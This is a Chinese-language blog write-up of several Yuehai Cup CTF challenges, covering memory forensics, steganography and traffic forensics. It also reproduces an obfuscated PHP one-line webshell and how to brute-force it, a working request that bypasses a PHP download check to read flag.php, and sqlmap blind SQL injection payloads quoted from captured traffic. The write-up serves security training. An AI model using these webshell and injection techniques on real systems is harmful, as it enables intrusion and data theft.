粤海杯部分题Writeup

前言

领导找我支撑一个ctf的比赛,我答应了,客户发来了题目。客户那边也是有一支队伍的,但是还是有些不会,所以让我来支撑,因此只发了部分题目。由于环境在内网,像SQL注入那题没源码,也就不好本地搭建去测试了。

image

writeup

内存取证

测试环境搭建

客户发来了一个网盘链接,说是内存取证的题目

image

内存取证的常用工具是volatility

这里我是在github上下载的。

https://github.com/volatilityfoundation/volatility

python版本是python2

所以直接运行python2 setup.py install
即可将环境弄好

查看内存镜像的基本信息

python2 vol.py -f file.raw imageinfo

image

这里提供了几个可能有用的profile

我这里使用Win7SP1x64,接着进行分析

查看进程,确定内存镜像保存的时间

python2 vol.py -f file.raw --profile=Win7SP1x64 pstree
image

时间点是在2022-05-11 01:23:47

在此时间点之前的都是可疑进程

此时发现可疑的ie进程,估计是浏览什么网页,或者打开了啥pdf,或者是下载了啥文件。

image

时间点是2022-05-11 01:21:50

查看ie的历史记录

python2 vol.py -f file.raw --profile=Win7SP1x64 iehistory

image

出现了可疑的下载链接,存在两个可疑的被下载文件

分别是flag.zippassword_is_here.png

猜测flag在加密的压缩文件内

查看本地的文件列表

python2 vol.py -f file.raw --profile=Win7SP1x64 filescan|findstr flag

image

python2 vol.py -f file.raw --profile=Win7SP1x64 filescan|findstr password_is_here.png

image

下载可疑文件

下载flag.zip

python2 vol.py -f file.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007ddc3450 --dump-dir=./

下载password_is_here.png文件

python2 vol.py -f file.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007fcccdc0 --dump-dir=./

image

然后改成相应格式的文件后缀即可

image

得到flag

png打开后
image

利用该字符串解压压缩包

image

image

web(一句话木马)

代码

1
2
3
4
5
6
7
8
9
10
11
<?php
header("content-type:text/html;charset=utf-8");
show_source('index.php');
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
$____=("c"^":").(":"^"R").("X"^":");
$_____=mt_rand(2000,2022);
echo $_____;
@${$__}[$____](@${$___}[$_____]);
#flag{} into flag.php
?> 2014

分析

首先一看到这种代码就知道此题是无字母webshell

那么这里得确定这四个变量分别是对应的啥。

直接echo输出就好

1
2
3
4
5
6
echo $__.PHP_EOL;  
echo $___.PHP_EOL;
echo $____.PHP_EOL;
echo $_____.PHP_EOL;

echo '@{'.$__.'}['.$____.'](@${'.$___.'}['.$_____.'])';

image

这里也就看得很明白了,也就是一个php一句话马,只不过密码会在2000<->2020之间来回变动

构造请求参数,并执行命令
这里可以将密码设置成一个定值,然后死命发包即可。

image

这里注意一下,mt_rand是伪随机,存在漏洞,这里解题取巧了。
可参考
https://xz.aliyun.com/t/31

web(尝试下载一下)

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php //download.php源码  
error_reporting(0);
$number = $_GET['number'];
$pwd = $_GET['pwd'];
$user = '';
$file_path = "/www/admin/localhost_80/wwwroot/download/{$_POST['filename']}";
$file_path = iconv("utf-8", "gb2312", $file_path);

for ($i = 0; $i < count($number); ++$i) {
if ($number[$i] > 32 && $number[$i] < 127) unset($number);
else $user .= chr($number[$i]);
if ($user == 'w3lc0me_To_yuehaibei') {
if (intval($pwd) < 232 && intval($pwd + 1) > 233) {
echo '恭喜得到flag:';
//flag->flag.php
if (!file_exists($file_path)) {
echo "你要下载的文件不存在,请重新下载";
} else {
echo file_get_contents($file_path);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename=' . $file_path);
header('Content-Lengh: ' . filesize($file_path));
} } }}
highlight_file(__FILE__);

分析

本地环境搭建,这里需要修改file_path的值

image

这里有两层关键判断

第一层是number传进去后,是w3lc0me_To_yuehaibei,即通过第一层判断。

第二层判断是pwd的值要小于232,又要大于233才能通过file_get_contents读取文件内容。

一层一层的来分析

第一层分析

通过$number[i]>32&&$number[$i]<127,可以判断出,number传的是数组,而不是字符串,因为单个字符无法达到大于32的条件。

也就是前端传
number[0]=33&&number[50]...

传进去的值在32-127直接时,会被unset

通过$user=w3lc0me_To_yuehaibei可以判断出

chr($number[i])要等于w3lc0me_To_yuehaibei的每一个字符。

通过分析可知w的ascii的十进制数值是119

image

119在这个区间,所以会被unset掉

问了在学校的经常打ctf比赛的师弟后,得到这样一个结论

image

当值超过256时,会等于它本身。

image

所以375不在这个区间,因此就会被拼接至user

1
2
3
4
5
6
7
8
9
<?php  
$number = array(375,307,364,355,304,365,357,351,340,367,351,377,373,357,360,353,361,354,357,361);
$user = '';
for ($i = 0; $i < count($number); ++$i) {
if ($number[$i] > 32 && $number[$i] < 127) unset($number);
else $user .= chr($number[$i]);
}
echo $user;
?>

image
这里也就第一层判断过掉了

第二层分析

第二层有一个关键函数intval,通过查阅资料发现,该函数在php5.x版本存在漏洞。

即当$pwd的值是非数值类型时,会返回0。

因此我们这里传一个1e4,会返回1,1e4+1实际上是10001,因此也就过掉了第二层判断。

1
2
3
4
5
6
7
8
9
<?php  
$pwd = '1e4';
if (intval($pwd) < 232 && intval($pwd + 1) > 233) {
echo intval($pwd).PHP_EOL;
echo intval($pwd+1).PHP_EOL;
echo '恭喜得到flag:';
}else{
echo '失败';
}

image

获取flag

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?number[0]=375&number[1]=307&number[2]=364&number[3]=355&number[4]=304&number[5]=365&number[6]=357&number[7]=351&number[8]=340&number[9]=367&number[10]=351&number[11]=377&number[12]=373&number[13]=357&number[14]=360&number[15]=353&number[16]=361&number[17]=354&number[18]=357&number[19]=361&pwd=1e4 HTTP/1.1
Host: 192.168.1.101
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 17

filename=flag.php

image

misc(图片隐藏了什么)

直接解压压缩包

image

提示需要密码

猜测可能真有密码,或者是zip伪加密

image

zip压缩文件的文件头
50 4B 03 04

zip压缩目录中的文件头
50 4B 01 02

zip压缩文件的文件尾
50 4B 05 06

发现头没问题
image

尾也没问题
image

压缩目录中文件开始的文件头也没问题
image

说明是一个真实的压缩包。

利用工具爆破出来

image

image

但是图片无法正常预览

image

编辑器打开,搜字符串flag,没找到,但是无意发现,PNG居然有两个,说明当前png图片,还隐写了一张图片

image

这里kali安装foremost,然后直接提取

image

拿到flag

image

misc(有趣的图片)

压缩包直接解压,得到一张可以正常打开的图片

image

直接编辑器打开看看

image

发现提示,所以直接还是用foremost

提取后,发现是一个压缩包和图片

image

压缩包预览一下

估计解压后,还得找个脚本合并一下docx

image

直接爆破,没找到密码

image

观察另外一个图片

image

把鼠标放上去的时候,发现大小好像不对劲

image

高度不对劲,有点太小了

此时需要了解一点png图片头的知识了

1
2
3
4
5
6
7
8
9
10
-(固定)八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头
-(固定)四个字节00 00 00 0D(即为十进制的13)代表数据块的长度为13
-(固定)四个字节49 48 44 52(即为ASCII码的IHDR)是文件头数据块的标示(IDCH)
-(可变)13位数据块(IHDR)
- 前四个字节代表该图片的宽
- 后四个字节代表该图片的高
- 后五个字节依次为:
Bit depth、ColorType、Compression method、Filter method、Interlace method
-(可变)剩余四字节为该png的CRC检验码,由从IDCH到IHDR的十七位字节进行crc计算得到。

左边是宽度,右边是高度

image

直接将高宽度改成一致

image

再次打开图片,看见解压密码

image

image

解压后,直接排序,发现了不对劲的文档

image

或多或少对出题人无语,题目没脑洞点,一直在套娃

image

打开了,直接…..真会玩

image

肯定还有隐写

试了一下,发现还存在一层的lsb隐写,无语了

image

misc(简单隐写)

解压压缩包

image

直接编辑图片

image

发现password和flag.txt

直接foremost无脑干

发现一个压缩包

image

image

输入刚刚的密码,解压成功,拿到flag

image

流量取证

image

直接解压,wireshark打开

image

发现tcp的http协议数据量,直接追踪tcp

image

发现攻击特征

image

原来是扫描器
又有mysqlinformation_scema

还有mssqlxp_cmdshell

并且user-agentsqlmap

image

通过分析可知,此次的流量取证也就是分析,对方通过sqlmap注入到了什么数据

当页面回显是1时

?id=2') AND 3011=2728 AND ('uAKN'='uAKN

image

页面回显是3时
?id=2 AND 2172=2172-- nkNU

image

通过这两处逻辑判断出,当逻辑是true时,回显3,逻辑为false时,回显1

通过这处流量判断处被注入的数据库是mysql

/?id=2' AND (SELECT 3221 FROM (SELECT(SLEEP(5)))gZlV) AND 'oSQa'='oSQa

image

找数据包,慢慢找,发现盲注查数据库名称语句,应该就是这个玩意了。

/?id=2' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>118 AND 'lQrQ'='lQrQ

image

一个个分析太累了,这里直接借助linux的strings和grep命令
不过不太好

image

发现只能看见攻击payload,无法看见响应

放弃

最后问了一下

https://zhouhe.360.cn/

image

发现360有流量分析的平台

image

上传分析

发现还是会有一点区别
image

现在的逻辑判断是,有ok就是true,无ok就是false。

发现不好用,还是手动分析吧

database()的左边第一个字符大于119时,回显1,说明是false

?id=2' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>119 AND 'lQrQ'='lQrQ

image

?id=2' AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>118 AND 'lQrQ'='lQrQ

image

第一个字符既要大于118,又要不大于119,说明第一个字符就是119,即w

image

以此往下分析,理论上可拿到flag

不过最后发现,后面还注入拿到user和password

估计也就是这几个数据当中的其中一个是flag了

image

加解密

客户自己做出来了。

总结

题目不难(比ciscn简单多了),但是很久没做过ctf的题目了,有些知识点都已经忘记,光是找工具,都用了许久。

最后祝客户好运,能拿好成绩。

不过他也没说比赛啥时候结束,估计明天还有题目。

Author: jdr
Link: https://jdr2021.github.io/2022/05/18/粤海杯部分题Writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.